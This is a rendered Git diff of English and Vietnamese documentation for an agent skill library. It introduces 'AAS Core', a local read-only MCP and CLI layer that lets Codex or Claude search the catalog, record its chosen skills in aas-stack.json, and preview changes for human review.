This page explains how plugins fit beneath **AAS Core**, the orchestration layer for Codex and Claude Code. Plugins and direct installs deliver skill payloads; Core exposes the complete catalog and validates, records, and plans the exact stack chosen by the agent.
|
||||
|
||||
## What a plugin is in this repo
|
||||
|
||||
@@ -17,9 +17,13 @@ Plugins are useful when you want:
|
||||
|
||||
Plugins are **not** different content formats. They still ship `SKILL.md` playbooks. The difference is the packaging, install surface, and filtering.
|
||||
|
||||
## Full library install vs plugin install
|
||||
## Core orchestration vs delivery surfaces
|
||||
|
||||
You now have two valid ways to use this repository with Claude Code or Codex.
|
||||
For Codex and Claude Code, start with [AAS Core](aas-core.md) when you want the agent to choose from catalog evidence. Core exposes read-only local MCP tools and keeps validation, planning, and approved changes in the CLI.
|
||||
|
||||
Once the desired stack is clear, plugins and direct installs are two supported delivery surfaces. They do not replace Core and Core is not another plugin bundle.
|
||||
|
||||
## Full library install vs plugin install
|
||||
|
||||
### Full library install
|
||||
|
||||
@@ -132,6 +136,13 @@ Bundle-specific Codex plugins are generated alongside the root plugin so you can
|
||||
|
||||
## Which path should you choose?
|
||||
|
||||
Choose **AAS Core first** if:
|
||||
|
||||
- you want Codex or Claude Code to search and inspect the local catalog
|
||||
- you want Codex or Claude to search the complete catalog and preserve its exact selection
|
||||
- you want a reviewable `aas-stack.json` and preview plan before any change
|
||||
- you want read-only MCP discovery separated from approval-gated CLI operations
|
||||
|
||||
Choose the **full library** if:
|
||||
|
||||
- you want the biggest catalog
|
||||
@@ -155,6 +166,7 @@ The hosted [specialized plugin landing page](https://sickn33.github.io/agentic-a
|
||||
|
||||
## Related guides
|
||||
|
||||
- [AAS Core](aas-core.md)
|
||||
- [Getting Started](getting-started.md)
|
||||
- [FAQ](faq.md)
|
||||
- [Claude Code skills](claude-code-skills.md)
|
||||
|
||||
@@ -1,89 +1,108 @@
|
||||
# Skills vs MCP Tools
|
||||
# Skills, AAS MCP, and Other MCP Tools
|
||||
|
||||
If you are trying to understand the difference between **Antigravity skills** and **MCP tools**, the short version is:
|
||||
The short version is:
|
||||
|
||||
- **Skills** are reusable `SKILL.md` playbooks that tell an AI assistant how to execute a workflow.
|
||||
- **MCP tools** are integrations or callable capabilities that let the assistant interact with external systems.
|
||||
- **AAS MCP** is the local, read-only interface through which an agent retrieves the verified AAS catalog without ranking, inspects evidence, and records its exact selected IDs in a proposed stack.
|
||||
- **Other MCP tools** connect an assistant to external systems such as APIs, databases, browsers, or hosted services.
|
||||
- **The `aas` CLI** validates the durable project profile and agent-selected stack, then previews exact lifecycle operations under human control.
|
||||
|
||||
The two are complementary, not competing.
|
||||
These surfaces are complementary. AAS Core connects them around the approved `aas-stack.json` manifest.
|
||||
|
||||
## What a skill does
|
||||
|
||||
A skill gives the model better instructions for a repeated task such as:
|
||||
|
||||
- planning a feature
|
||||
- reviewing code
|
||||
- running a security audit
|
||||
- writing a README
|
||||
- debugging a failing test suite
|
||||
- planning a feature;
|
||||
- reviewing code;
|
||||
- running a security audit;
|
||||
- writing a README;
|
||||
- debugging a failing test suite.
|
||||
|
||||
In practice, a skill improves the assistant's decision-making, structure, and process for a task.
|
||||
In practice, a skill improves the assistant's decision-making, structure, and process. It remains content, not an executable capability or a grant of authority.
|
||||
|
||||
Example:
|
||||
Examples:
|
||||
|
||||
- `@brainstorming` helps the model clarify requirements before implementation.
|
||||
- `@lint-and-validate` helps the model run the right quality checks before claiming success.
|
||||
- `@lint-and-validate` helps the model run appropriate quality checks before claiming success.
|
||||
|
||||
## What an MCP tool does
|
||||
## What AAS MCP does
|
||||
|
||||
An MCP tool gives the model a capability it would not otherwise have, such as:
|
||||
AAS MCP is part of this repository's product, not an unrelated external integration. Codex or Claude uses it to call the same deterministic AAS Core that powers the CLI projections.
|
||||
|
||||
- reading from a database
|
||||
- calling GitHub APIs
|
||||
- fetching docs from a service
|
||||
- creating calendar events
|
||||
- querying an external system
|
||||
It exposes exactly:
|
||||
|
||||
In practice, an MCP tool expands what the assistant can do in the world.
|
||||
- `search_skills`;
|
||||
- `get_skill`;
|
||||
- `compose_stack`;
|
||||
- `inspect_stack`;
|
||||
- `diff_stack`;
|
||||
- the `aas://skills/{id}` resource template.
|
||||
|
||||
The agent inspects the project using its normal local capabilities, searches and reads the complete catalog, and chooses the exact skills. AAS MCP does not scan the repository itself, and Core does not rank or exclude candidates. Catalog metadata is informational only.
|
||||
|
||||
AAS MCP is local stdio, process-per-session, read-only, offline-capable, and contains no model credentials or telemetry. Its tool calls do not install or remove skills, apply a stack, update catalogs, or edit host configuration.
|
||||
|
||||
## What other MCP tools do
|
||||
|
||||
An external MCP tool may give the model a capability it would not otherwise have, such as:
|
||||
|
||||
- reading from a database;
|
||||
- calling GitHub APIs;
|
||||
- fetching documentation from a service;
|
||||
- creating calendar events;
|
||||
- querying or changing another system.
|
||||
|
||||
Those tools expand what the assistant can do in the world. Their permissions, network behavior, and write boundaries depend on each server. They are different from the deliberately narrow AAS MCP catalog/composition boundary.
|
||||
|
||||
## What the CLI does
|
||||
|
||||
The `aas` CLI is the explicit operational interface for:
|
||||
|
||||
- catalog status and updates;
|
||||
- MCP configuration;
|
||||
- validation and composition of an agent-selected stack;
|
||||
- manifest validation;
|
||||
- plan creation and read-only diagnostics.
|
||||
|
||||
The durable artifact is `aas-stack.json`, which pins catalog identity, targets, the project profile, and exact skill IDs. The agent proposes it; the user reviews it. It has no Core selection policy. `stack validate` checks it, and `stack plan` creates an immutable preview bound to the observed managed state and exact operations.
|
||||
|
||||
`stack apply` and `stack recover` exist only for controlled preview development. They are experimental, disabled by default, and are not supported or certified preview safety claims.
|
||||
|
||||
## The easiest mental model
|
||||
|
||||
Use this rule:
|
||||
- **Skills provide the operating guidance.**
|
||||
- **AAS MCP gives the agent complete catalog access and records the selection the agent makes.**
|
||||
- **`aas-stack.json` records what the user approved.**
|
||||
- **The CLI validates and previews the lifecycle.**
|
||||
- **Other MCP servers provide access to outside systems.**
|
||||
|
||||
- **Skills tell the assistant how to work.**
|
||||
- **MCP tools tell the assistant what systems it can touch.**
|
||||
## Which path should you start with?
|
||||
|
||||
If you only install tools, the assistant may have access but still behave inconsistently.
|
||||
Start with **AAS Core** when:
|
||||
|
||||
If you only install skills, the assistant may know the workflow but still lack the capability to reach the external system it needs.
|
||||
- you use Codex or Claude with local MCP support;
|
||||
- you want the agent to compose a small stack from project evidence;
|
||||
- you need complete catalog access and a reproducible manifest of the agent's exact selection;
|
||||
- you want a reviewable plan before any skill changes.
|
||||
|
||||
Together, they are much stronger.
|
||||
Start with a **direct skill or specialized plugin** when:
|
||||
|
||||
## Which one should you start with?
|
||||
- the host does not yet have a native AAS MCP configuration adapter;
|
||||
- you already know the exact skill or fixed domain pack you want;
|
||||
- you prefer manual invocation without a managed stack lifecycle.
|
||||
|
||||
Start with **skills** if:
|
||||
Add **other MCP tools** when the work needs live access to APIs, services, databases, or hosted platforms. A stack can contain skills that guide those integrations without granting the external permissions itself.
|
||||
|
||||
- you want better planning, coding, debugging, testing, or review behavior immediately
|
||||
- you are working mostly in local files and terminal flows
|
||||
- you want reusable playbooks before adding more integrations
|
||||
## Preview limits
|
||||
|
||||
Start with **MCP tools** if:
|
||||
|
||||
- your main blocker is access to external systems
|
||||
- you need the model to call APIs, query services, or interact with hosted platforms
|
||||
- you already like the model's workflow quality, but need more reach
|
||||
|
||||
Use **both** when:
|
||||
|
||||
- you want reliable workflows plus external capabilities
|
||||
- you are building agent systems, internal tooling, or multi-step operational flows
|
||||
|
||||
## How this repo fits in
|
||||
|
||||
Agentic Awesome Skills is primarily a **skill library**:
|
||||
|
||||
- installable `SKILL.md` playbooks
|
||||
- bundles for role-based starting points
|
||||
- workflows for ordered execution patterns
|
||||
- tool-specific guides for Claude Code, Cursor, Codex CLI, Gemini CLI, and others
|
||||
|
||||
Many skills in this repo also explain how to work with MCP, APIs, and other integrations, but the repository itself is centered on reusable workflow guidance rather than acting as an MCP server.
|
||||
AAS Core helps Codex and Claude search and read the complete local catalog, choose exact skill IDs, and preserve them in a reproducible stack. Metadata may be reported as unknown, but it is informational and never blocks selection or use. Apply and recovery remain experimental.
|
||||
|
||||
## Good next reads
|
||||
|
||||
- [AAS Core](aas-core.md)
|
||||
- [Getting Started](getting-started.md)
|
||||
- [FAQ](faq.md)
|
||||
- [Bundles](bundles.md)
|
||||
- [Workflows](workflows.md)
|
||||
- [AI Agent Skills](ai-agent-skills.md)
|
||||
- [Codex CLI Skills](codex-cli-skills.md)
|
||||
- [Gemini CLI Skills](gemini-cli-skills.md)
|
||||
- [Plugins for Claude Code and Codex](plugins.md)
|
||||
|
||||
@@ -1,28 +1,53 @@
|
||||
# Usage Guide: How to Actually Use These Skills
|
||||
# Usage Guide: Compose and Use an AAS Skill Stack
|
||||
|
||||
> **Confused after installation?** This guide walks you through exactly what to do next, step by step.
|
||||
> **Recommended path:** let Codex or Claude inspect the project, search and read the complete AAS catalog, and choose the exact skills. AAS Core records and validates that agent-owned selection.
|
||||
|
||||
## Primary workflow: agent-first composition
|
||||
|
||||
After configuring the local AAS MCP, ask your agent to inspect the repository and choose a stack for the outcome you want:
|
||||
|
||||
```text
|
||||
Inspect this repository and enumerate its primary capability areas. For each
|
||||
capability, search the complete AAS catalog, paginate or refine the query, and
|
||||
compare multiple plausible candidates with get_skill when available. Select at
|
||||
least one non-redundant valid skill per capability, explicitly report catalog
|
||||
gaps, and evaluate architecture/runtime, languages/frameworks, domain behavior,
|
||||
data/storage, integrations, testing/quality, security/privacy, UX/accessibility,
|
||||
deployment/operations, and maintenance workflow. Mark dimensions not applicable
|
||||
instead of silently omitting them. Do not stop at the first few matches or
|
||||
optimize for the smallest stack. Core has no semantic policy favoring a small
|
||||
stack; each manifest has a technical maximum of 128 selected skills. Only then
|
||||
use compose_stack with a project profile, inspect the schema 2 manifest returned
|
||||
in memory, and do not apply it.
|
||||
```
|
||||
|
||||
The agent must use `search_skills` and `get_skill` across the complete catalog, build a capability-to-skill coverage map, continue searching while a primary capability remains uncovered, choose the exact IDs itself, call `compose_stack`, then check the in-memory proposal with `inspect_stack` before presenting it. All 1,968 current catalog skills remain individually searchable, readable, and selectable. A client or the CLI can persist the reviewed `aas-stack.json`; an audit-enabled flow can then call `export_selection_evidence`, validate it with `inspect_selection_evidence`, and atomically publish the manifest and separate `aas-selection-evidence.json` sidecar in an `artifact-dir`. Use `aas stack plan` to preview the exact operations without materializing skills or managed state in the target.
|
||||
|
||||
Selection evidence contains the raw `search_skills` queries observed during the MCP session. Do not place secrets, credentials, private source text, or personal data in catalog queries.
|
||||
|
||||
Selection belongs to the coding agent. AAS MCP does not inspect the repository itself, rank or exclude skills, install skills, update catalogs, or change configuration. See [AAS Core](aas-core.md) for setup, the exact tool boundary, CLI commands, and preview limitations.
|
||||
|
||||
`stack apply` and `stack recover` are experimental, disabled by default, and are not supported or certified preview safety claims.
|
||||
|
||||
---
|
||||
|
||||
## "I just installed the repository. Now what?"
|
||||
## Alternative workflow: direct skill installation
|
||||
|
||||
Great question! Here's what just happened and what to do next:
|
||||
If you came in through a **Claude Code** or **Codex** plugin instead of AAS Core or a full library install, invoke individual skills in prompts. Plugins ship a fixed plugin-safe subset; AAS Core instead validates and records the exact stack the agent selected from the verified catalog in `aas-stack.json`. See [plugins.md](plugins.md) for the distribution model.
|
||||
|
||||
If you came in through a **Claude Code** or **Codex** plugin instead of a full library install, the mental model is the same: you still invoke individual skills in prompts. The main difference is that plugins ship the plugin-safe subset. See [plugins.md](plugins.md) for the install model.
|
||||
|
||||
### What You Just Did
|
||||
### What direct distribution provides
|
||||
|
||||
When you ran `npx agentic-awesome-skills` or cloned the repository, you:
|
||||
|
||||
✅ **Downloaded 1,965+ skill files** to your computer (default: `~/.agents/skills/`; or a custom path like `~/.agent/skills/` if you used `--path`)
|
||||
✅ **Downloaded 1,969+ skill files** to your computer (default: `~/.agents/skills/`; or a custom path like `~/.agent/skills/` if you used `--path`)
|
||||
✅ **Made them available** to your AI assistant
|
||||
❌ **Did NOT enable them all automatically** (they're just sitting there, waiting)
|
||||
|
||||
Think of it like installing a toolbox. You have all the tools now, but you need to **pick which ones to use** for each job.
|
||||
Direct distribution makes skill files available to the host. It does not select a project-specific stack, record desired state, or produce a preview plan; those are AAS Core responsibilities.
|
||||
|
||||
---
|
||||
|
||||
## Step 1: Understanding "Bundles" (Recommendations or Focused Installs)
|
||||
## Direct-install Step 1: Understanding Bundles
|
||||
|
||||
**Common confusion:** "Do I need to download each skill separately?"
|
||||
|
||||
@@ -32,11 +57,7 @@ Think of it like installing a toolbox. You have all the tools now, but you need
|
||||
|
||||
Bundles are **curated groups** of skills organized by role. They help you decide which skills to start using, and they can also be exposed as focused marketplace plugins for Claude Code and Codex.
|
||||
|
||||
**Analogy:**
|
||||
|
||||
- You installed a toolbox with 1,965+ tools (✅ done)
|
||||
- Bundles are like **labeled organizer trays** saying: "If you're a carpenter, start with these 10 tools"
|
||||
- You can either **pick skills from the tray** or install that tray as a focused marketplace bundle plugin
|
||||
Bundles provide editorial shortlists. You can either select individual skills from a bundle or install its focused marketplace plugin where supported.
|
||||
|
||||
### What Bundles Are NOT
|
||||
|
||||
@@ -73,9 +94,7 @@ If you want only one bundle active at a time in Antigravity, use the activation
|
||||
|
||||
---
|
||||
|
||||
## Step 2: How to Actually Execute/Use a Skill
|
||||
|
||||
This is the part that should have been explained better! Here's how to use skills:
|
||||
## Direct-install Step 2: Invoke a Skill
|
||||
|
||||
### The Simple Answer
|
||||
|
||||
@@ -126,7 +145,7 @@ Use @brainstorming to plan this feature
|
||||
|
||||
---
|
||||
|
||||
## Step 3: What Should My Prompts Look Like?
|
||||
## Direct-install Step 3: Write a Focused Prompt
|
||||
|
||||
Here are **real-world examples** of good prompts:
|
||||
|
||||
@@ -182,7 +201,7 @@ Here are **real-world examples** of good prompts:
|
||||
|
||||
---
|
||||
|
||||
## Step 4: Your First Skill (Hands-On Tutorial)
|
||||
## Direct-install Step 4: Your First Skill
|
||||
|
||||
Let's actually use a skill right now. Follow these steps:
|
||||
|
||||
@@ -210,9 +229,9 @@ Let's actually use a skill right now. Follow these steps:
|
||||
|
||||
---
|
||||
|
||||
## Step 5: Picking Your First Skills (Practical Advice)
|
||||
## Direct-install Step 5: Pick Skills Manually
|
||||
|
||||
Don't try to use all 1,965+ skills at once. Here's a sensible approach:
|
||||
Don't try to use all 1,969+ skills at once. Here's a sensible approach:
|
||||
|
||||
If you want a tool-specific starting point before choosing skills, use:
|
||||
|
||||
@@ -327,7 +346,7 @@ AI: [Creates tests, sets up CI/CD, deploys to Vercel]
|
||||
|
||||
### "Can I see all available skills?"
|
||||
|
||||
Yes! Three ways:
|
||||
Yes. With AAS Core, ask the agent to call `search_skills` and inspect candidates with `get_skill`. On a direct install, you can also:
|
||||
|
||||
1. Browse [CATALOG.md](../../CATALOG.md) (searchable list)
|
||||
2. Run `ls ~/.agents/skills/` (or your actual install path)
|
||||
@@ -343,7 +362,7 @@ Usually no, but if your AI doesn't recognize a skill:
|
||||
|
||||
### "Can I load all skills into the model at once?"
|
||||
|
||||
No. Even though you have 1,965+ skills installed locally, you should **not** concatenate every `SKILL.md` into a single system prompt or context block.
|
||||
No. Even though you have 1,969+ skills installed locally, you should **not** concatenate every `SKILL.md` into a single system prompt or context block.
|
||||
|
||||
The intended pattern is:
|
||||
|
||||
@@ -394,7 +413,13 @@ Use @skill-creator to help me build a custom skill for [your task]
|
||||
|
||||
## Next Steps
|
||||
|
||||
Now that you understand how to use skills:
|
||||
For the Core-first path:
|
||||
|
||||
1. Configure the local MCP with the [AAS Core guide](aas-core.md).
|
||||
2. Ask the agent to search the complete catalog, choose exact IDs, and explain its selection.
|
||||
3. Review `aas-stack.json`, validate it, and preview the plan.
|
||||
|
||||
For direct/manual use:
|
||||
|
||||
1. ✅ **Try one skill right now** - Start with `@brainstorming` on any idea you have
|
||||
2. 📚 **Pick 3-5 skills** from your role's bundle in [bundles.md](bundles.md)
|
||||
|
||||
@@ -1,26 +1,32 @@
|
||||
# Visual Quick Start Guide
|
||||
# Visual Guide: AAS Core and Skill Distribution
|
||||
|
||||
**Learn by seeing!** This guide uses diagrams and visual examples to help you understand skills.
|
||||
This guide shows the primary AAS Core workflow and the supporting catalog and distribution surfaces.
|
||||
|
||||
---
|
||||
|
||||
## The Big Picture
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ YOU (Developer) │
|
||||
│ ↓ │
|
||||
│ "Help me build a payment system" │
|
||||
│ ↓ │
|
||||
├─────────────────────────────────────────────────────────────┤
|
||||
│ AI ASSISTANT │
|
||||
│ ↓ │
|
||||
│ Loads @stripe-integration skill │
|
||||
│ ↓ │
|
||||
│ Becomes an expert in Stripe payments │
|
||||
│ ↓ │
|
||||
│ Provides specialized help with code examples │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
PROJECT
|
||||
│ inspected by Codex or Claude, not by AAS
|
||||
▼
|
||||
AGENT SEARCHES + READS COMPLETE LOCAL CATALOG
|
||||
│
|
||||
▼
|
||||
CODEX OR CLAUDE CHOOSES EXACT SKILL IDS
|
||||
│
|
||||
▼
|
||||
compose_stack ── validates · pins · never recommends
|
||||
│
|
||||
▼
|
||||
AGENT PROPOSES aas-stack.json (no selection policy)
|
||||
│
|
||||
├────────► WORKBENCH (optional browser-local review)
|
||||
▼
|
||||
CLI VALIDATE ──► CLI PLAN ──► HUMAN REVIEW
|
||||
|
||||
Supported path: stop after plan review.
|
||||
Apply and recovery remain experimental.
|
||||
```
|
||||
|
||||
---
|
||||
@@ -34,7 +40,7 @@ agentic-awesome-skills/
|
||||
├── 📄 CONTRIBUTING.md ← Contributor workflow
|
||||
├── 📄 CATALOG.md ← Full generated catalog
|
||||
│
|
||||
├── 📁 skills/ ← 1,965+ skills live here
|
||||
├── 📁 skills/ ← 1,969+ skills live here
|
||||
│ │
|
||||
│ ├── 📁 brainstorming/
|
||||
│ │ └── 📄 SKILL.md ← Skill definition
|
||||
@@ -47,7 +53,7 @@ agentic-awesome-skills/
|
||||
│ │ └── 📁 2d-games/
|
||||
│ │ └── 📄 SKILL.md ← Nested skills also supported
|
||||
│ │
|
||||
│ └── ... (1,965+ total)
|
||||
│ └── ... (1,969+ total)
|
||||
│
|
||||
├── 📁 apps/
|
||||
│ └── 📁 web-app/ ← Interactive browser
|
||||
@@ -66,7 +72,7 @@ agentic-awesome-skills/
|
||||
|
||||
---
|
||||
|
||||
## How Skills Work (Flow Diagram)
|
||||
## Alternative: Direct Skill Distribution
|
||||
|
||||
```
|
||||
┌──────────────┐
|
||||
@@ -90,7 +96,7 @@ agentic-awesome-skills/
|
||||
│
|
||||
↓
|
||||
┌──────────────┐
|
||||
│ 5. RESULT │ You get specialized help!
|
||||
│ 5. RESULT │ The agent follows the selected instructions
|
||||
└──────────────┘
|
||||
```
|
||||
|
||||
@@ -100,7 +106,7 @@ agentic-awesome-skills/
|
||||
|
||||
```
|
||||
┌─────────────────────────┐
|
||||
│ 1,965+ SKILLS │
|
||||
│ 1,969+ SKILLS │
|
||||
└────────────┬────────────┘
|
||||
│
|
||||
┌────────────────────────┼────────────────────────┐
|
||||
@@ -201,7 +207,7 @@ If you want a workspace-style manual install instead, cloning into `.agent/skill
|
||||
│ ├── 📁 brainstorming/ │
|
||||
│ ├── 📁 stripe-integration/ │
|
||||
│ ├── 📁 react-best-practices/ │
|
||||
│ └── ... (1,965+ total) │
|
||||
│ └── ... (1,969+ total) │
|
||||
└─────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
# AAS Core
|
||||
|
||||
**AAS Core** là lớp điều khiển cục bộ, ưu tiên agent được khuyến nghị cho Agentic Awesome Skills. Core cho phép Codex hoặc Claude Code tìm kiếm và đọc catalog cục bộ đã xác minh, tự chọn chính xác các ID skill, rồi lưu lựa chọn đó trong `aas-stack.json` để người dùng xem trước trước khi có bất kỳ thay đổi nào. Core không xếp hạng hay đề xuất skill.
|
||||
|
||||
> **Ranh giới phát hành:** Gói npm 14.6.0 đã phát hành trước AAS Core và không thể dùng để bootstrap Core. Các gói hỗ trợ Core bắt đầu từ dòng 15.x; chỉ dùng một phiên bản chính xác có release notes tuyên bố rõ rằng nó bao gồm AAS Core.
|
||||
|
||||
## Luồng sử dụng
|
||||
|
||||
1. Dùng AAS CLI chính thức để cấu hình MCP stdio cục bộ cho Codex hoặc Claude Code.
|
||||
2. Cho phép agent gọi `search_skills` và `get_skill`, tự đánh giá kết quả theo ngữ nghĩa, rồi gọi `compose_stack` với `profile` và các ID đã chọn; dùng `inspect_stack` để xác minh và `diff_stack` khi cần so sánh.
|
||||
3. Xem lại tệp `aas-stack.json` schema 2 chứa `profile` và đúng thứ tự ID do agent chọn.
|
||||
4. Dùng AAS CLI để xác thực manifest và xem trước kế hoạch chính xác.
|
||||
5. Dừng lại sau khi xem kế hoạch; chỉ nghiên cứu các giai đoạn sau nếu bạn chủ động tham gia phát triển preview có kiểm soát.
|
||||
|
||||
## Ranh giới tin cậy
|
||||
|
||||
- AAS MCP chạy cục bộ và chỉ đọc; MCP không cài đặt, xóa, áp dụng hay cập nhật nội dung.
|
||||
- Kết quả tìm kiếm đầy đủ, phân trang và có thứ tự catalog ổn định; chúng không chứa điểm số hay thứ hạng. Codex hoặc Claude Code tự đánh giá và chọn skill.
|
||||
- `validate` và `plan` là luồng preview hiện được ghi nhận. `apply` và `recover` bị tắt theo mặc định và chưa phải là cam kết an toàn đã được chứng nhận.
|
||||
- Danh tính catalog và runtime được xác minh cục bộ. Theo mặc định, dữ liệu dự án không được gửi tới dịch vụ AAS.
|
||||
|
||||
## Quan hệ với plugin và cài đặt trực tiếp
|
||||
|
||||
AAS Core là lớp truy cập catalog, ghi nhận lựa chọn và xác thực; Codex hoặc Claude Code ra quyết định ngữ nghĩa. Plugin, plugin chuyên biệt và bản cài đặt thư viện đầy đủ vẫn là các cách phân phối nội dung skill. Với Codex và Claude Code, nên dùng Core để lưu stack do agent chọn trước, rồi mới chọn cách phân phối phù hợp.
|
||||
|
||||
Các công cụ chưa có adapter AAS Core vẫn có thể dùng cách cài đặt trực tiếp, plugin hoặc tích hợp manifest tùy chỉnh.
|
||||
|
||||
Xem [`docs/users/aas-core.md`](../users/aas-core.md) để biết các lệnh tiếng Anh và yêu cầu cấu hình hiện tại.
|
||||
@@ -1,6 +1,10 @@
|
||||
# 🌌 Agentic Awesome Skills: 1,936+ Kỹ năng (Skills) cho Claude Code, Gemini CLI, Cursor, Copilot và nhiều hơn nữa
|
||||
# AAS Core — Agentic Awesome Skills
|
||||
|
||||
> **Thư viện GitHub có thể cài đặt gồm hơn 1,936 kỹ năng agentic cho Claude Code, Cursor, Codex CLI, Gemini CLI, Antigravity và các trợ lý lập trình AI khác.**
|
||||
> **Ghép stack kỹ năng cục bộ, xác định cho coding agent: từ hồ sơ dự án tường minh đến kế hoạch có thể xem lại trước mọi thay đổi trên target.**
|
||||
|
||||
Codex hoặc Claude tự kiểm tra dự án; AAS không quét repository. Agent tìm kiếm catalog cục bộ đầy đủ theo thứ tự ổn định, tự đánh giá kết quả không có điểm số hay xếp hạng, rồi gửi `profile` cùng chính xác các ID đã chọn tới `compose_stack`. AAS Core ghi nhận lựa chọn trong `aas-stack.json` schema 2; CLI xác thực manifest và tạo kế hoạch preview bất biến trước khi thay đổi kỹ năng.
|
||||
|
||||
> **Ranh giới phát hành:** Gói npm 14.6.0 đã phát hành trước AAS Core và không thể dùng để bootstrap Core. Các gói hỗ trợ Core bắt đầu từ dòng 15.x; chỉ dùng một phiên bản chính xác có release notes tuyên bố rõ rằng nó bao gồm Core. Luồng preview được hỗ trợ dừng sau khi xem kế hoạch; `apply` và `recover` vẫn mang tính thử nghiệm. [Tìm hiểu AAS Core](AAS_CORE.vi.md).
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
[](https://claude.ai)
|
||||
@@ -11,7 +15,7 @@
|
||||
[](https://github.com/opencode-ai/opencode)
|
||||
[](https://github.com/sickn33/agentic-awesome-skills)
|
||||
|
||||
**Agentic Awesome Skills** là một thư viện kỹ năng có thể cài đặt với **1,936+ kỹ năng `SKILL.md`** được thiết kế để hoạt động mượt mà trên các trợ lý lập trình AI lớn:
|
||||
Catalog gồm **1,968+ kỹ năng `SKILL.md`**, plugin chuyên biệt, bundle, workflow và installer trực tiếp vẫn rất quan trọng. Chúng là lớp nội dung, tuyển chọn, phân phối và tương thích xung quanh AAS Core, không phải sản phẩm chính cạnh tranh với Core:
|
||||
|
||||
- 🟣 **Claude Code** (Anthropic CLI)
|
||||
- 🔵 **Gemini CLI** (Google DeepMind)
|
||||
@@ -22,11 +26,11 @@
|
||||
- ⚪ **OpenCode** (Mã nguồn mở CLI)
|
||||
- 🟡 **Kiro CLI / IDE** và **AdaL CLI**
|
||||
|
||||
**Phiên bản hiện tại: V14.0.0.** Đây không chỉ là một danh sách prompt; repository này cung cấp kỹ năng, bundles, workflows, catalog sinh tự động và installer CLI để dùng lại các playbook đã được kiểm chứng.
|
||||
**Ranh giới phiên bản:** Dòng 14.x là baseline phân phối kỹ năng trực tiếp và không chứa AAS Core; các gói hỗ trợ Core bắt đầu từ dòng 15.x. GitHub là nguồn chuẩn cho Core, catalog, plugin và tài liệu; website được host chỉ là bề mặt duyệt catalog và review trong trình duyệt, không phải control plane được host.
|
||||
|
||||
### 1. 🐣 Bối cảnh: Đây là gì?
|
||||
|
||||
**Agentic Awesome Skills** (Phiên bản 14.0.0) là một thư viện kỹ năng lớn cho AI coding assistants.
|
||||
**Agentic Awesome Skills** là repository chuẩn của AAS Core. Core là lớp sản phẩm cục bộ và xác định; catalog, bundle, workflow, plugin và installer CLI cung cấp bằng chứng, tuyển chọn, phân phối và khả năng tương thích xung quanh Core.
|
||||
|
||||
Các trợ lý AI (như Claude Code, Cursor, hoặc Gemini) rất thông minh, nhưng chúng thiếu các **công cụ chuyên biệt**. Chúng không biết "Quy trình Triển khai" của công ty bạn hoặc cú pháp cụ thể cho "AWS CloudFormation".
|
||||
**Skills** là các tệp markdown nhỏ dạy cho chúng cách thực hiện những tác vụ cụ thể này một cách chính xác trong mọi lần thực thi.
|
||||
@@ -55,7 +59,7 @@ Repository được tổ chức thành các lĩnh vực chuyên biệt để bi
|
||||
|
||||
[Xem các Gói khởi đầu tại docs/vietnamese/BUNDLES.md](BUNDLES.vi.md) để tìm bộ công cụ hoàn hảo cho vai trò của bạn.
|
||||
|
||||
## Duyệt hơn 1,936 Kỹ năng
|
||||
## Duyệt hơn 1,967 Kỹ năng
|
||||
|
||||
Chúng tôi đã chuyển danh sách đầy đủ các kỹ năng sang một danh mục riêng biệt để giữ cho file README này gọn gàng.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user